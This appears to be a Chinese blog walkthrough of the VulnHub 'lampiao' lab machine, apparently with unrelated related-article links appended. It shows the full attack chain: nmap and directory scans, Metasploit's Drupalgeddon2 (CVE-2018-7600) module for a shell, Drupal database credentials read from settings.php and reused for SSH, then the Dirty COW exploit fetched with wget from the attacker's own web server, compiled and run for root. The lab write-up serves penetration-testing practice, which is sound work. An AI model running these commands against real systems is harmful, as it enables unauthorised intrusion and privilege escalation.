当前位置: 首页 > news >正文

lampiao靶场渗透

lampiao

https://www.vulnhub.com/entry/lampiao-1,249/

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.245

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.245

  1. SSH服务 (22/tcp)
  • 版本: OpenSSH 6.6.1p1(Ubuntu补丁版本2ubuntu2.7)
  • 潜在风险:
  • OpenSSH 6.6.1 存在多个历史漏洞(如CVE-2014-2653、CVE-2016-0777),需确认是否已修复。
  • 若允许密码认证,可能存在弱口令风险。
  • 建议:
  • 检查补丁状态,确认是否升级到最新版本。
  • 尝试密钥破解或检查是否允许空口令登录(需授权)。
  1. HTTP服务 (80/tcp)
  • 未知服务: Nmap未识别具体服务,但返回ASCII艺术文本,可能为自定义Web应用。
  • 潜在风险:
  • 可能存在未公开漏洞或配置错误。
  • 建议:
  • 使用浏览器或curl访问该端口,分析HTTP响应头和内容。
  • 运行niktodirbuster扫描目录,寻找敏感文件(如/admin/backup)。
  1. HTTP服务 (1898/tcp)
  • 版本: Apache 2.4.7 + Drupal 7
  • 关键发现:
  • robots.txt禁用36个目录(如/modules//install.php),提示Drupal结构。
  • 标题为“Lampião”,可能为定制化Drupal站点。
  • 潜在风险:
  • Drupal 7存在高危漏洞(如CVE-2018-7600远程代码执行)。
  • Apache 2.4.7较旧(2013年发布),可能伴随其他漏洞。
  • 建议:
  • 使用droopescan扫描Drupal版本及漏洞。
  • 检查/CHANGELOG.txt/README.txt获取Drupal具体版本。
  • 尝试利用Drupalgeddon(CVE-2018-7600)等漏洞。

 

4,访问80端口存在的http服务

访问另一个http服务

http://192.168.23.245:1898/

存在一个登录页面,扫描网站存在的子目录

dirsearch -u http://192.168.23.245:1898 -x 403,404,301

先看robots.txt泄露哪些危险目录

robots.txt 分析报告

1. 基础信息

  • 作用: 控制搜索引擎爬虫的访问权限,但无法阻止手动访问
  • 范围: 适用于所有爬虫(User-agent: *)。
  • 爬取延迟Crawl-delay: 10(限制爬虫频率)。

2. 关键禁止路径(Disallow)

以下路径可能暴露敏感信息或功能接口,需重点关注:

2.1 目录禁止

路径

潜在风险

/includes/

可能包含核心配置文件(如数据库凭证)

/modules/

Drupal模块目录,可能含漏洞插件

/profiles/

站点配置文件

/scripts/

自定义脚本,可能含调试代码或硬编码密钥

/themes/

主题文件,可能泄露路径或调试信息

2.2 文件禁止

文件

风险描述

/CHANGELOG.txt

泄露Drupal版本,用于匹配历史漏洞

/INSTALL.*.txt

安装指南,可能暴露数据库配置信息

/install.php

若未删除,允许重新安装覆盖站点

/update.php

用于更新Drupal,若未授权访问可能导致代码执行

/xmlrpc.php

XML-RPC接口,可能被用于SSRF或DoS攻击

2.3 功能路径禁止

路径

用途

/admin/

后台管理面板

/user/login/

用户登录入口

/user/password/

密码重置功能

/node/add/

内容创建接口

3. 允许路径(Allow)

  • 静态资源: 允许爬取CSS、JS、图片文件(如/misc/*.css/modules/*.png)。
  • 利用可能: 通过分析静态文件内容,寻找硬编码密钥或敏感注释。

5,指纹扫描那个网站

whatweb -v http://192.168.23.245:1898

访问文件/CHANGELOG.txt,发现是Drupal为框架的网站 ,版本为7.54

searchsploit Drupal 7.54

存在msf内置的攻击脚本,保存下来看看

searchsploit Drupal 7.54 -m 44482.rb

cat 44482.rb

 

6,使用metasploit对网站进行攻击

msfconsole -q 

search Drupalgeddon2

use 0

查看需要配置的选项

set RHOSTS 192.168.23.245

set RPORT 1898

run

shell

成功getshell

7,使用pyhton脚本获取可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

信息收集一下

网站是drupal框架搭建的,惯用套路就是查看数据库配置文件,拿到数据库登录密码

ls /var/www/html/sites/default

cat /var/www/html/sites/default/settings.php

得到一个账户密码drupaluser/Virgulino

尝试登录tiago用户,发现登录成功,获取tiago权限

ssh tiago@192.168.23.245

横向移动成功,注意到这个靶场的内核版本是有提权exp的

searchsploit Dirty Cow

这里使用40847.cpp

searchsploit -m 40847.cpp

使用python脚本开启http服务,使靶机下载提权exp脚本

python -m http.server

cd /tmp

wget http://192.168.23.182:8000/40847.cpp

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

chmod 777 40847

./40847 -s

su root

成功提权成功root用户,得到flag

相关文章:

  • springboot3学习
  • Problem E: 实现冒泡排序(内存优化)
  • Linux常见指令解析(三)
  • 《打造自己的DeepSeek》第2期:怎么安装自己的DeepSeek?
  • 【Tools】VScode远程调试linux服务器(打断点可视化界面方式)
  • 基于VSCode+PlatformIO环境的ESP8266的HX1838红外模块
  • redis数据结构-04 (HINCRBY、HDEL、HKEYS、HVALS)
  • 冰箱拆解学习
  • DA14585墨水屏学习(2)
  • 器件(八)—芯片封装中的开尔文源极
  • Java从入门到精通 - 数组
  • RabbitMQ学习(第三天)
  • redis数据结构-08(SINTER、SUNION、SDIFF、SISMEMBER)
  • Python-UV多环境管理
  • 作业...
  • CentOS7离线安装Mysql8
  • 菜鸟之路day31一一MySQL之多表设计
  • idea中的vcs不见了,如何解决
  • 部署Superset BI(五)连接oracle数据库失败
  • LlamaIndex 第七篇 结构化数据提取
  • 125%→10%、24%税率暂停90天,对美关税开始调整
  • 甘肃发布外卖食品安全违法行为典型案例:一商家用鸭肉冒充牛肉被罚
  • 迪奥部分客户数据遭泄露,公司称正持续展开调查
  • 牛市早报|中美日内瓦经贸会谈联合声明公布
  • 湛江霞山通报渔船火灾:起火船舶共8艘,无人员伤亡或被困
  • 中美经贸高层会谈在日内瓦结束,中国代表团将举行发布会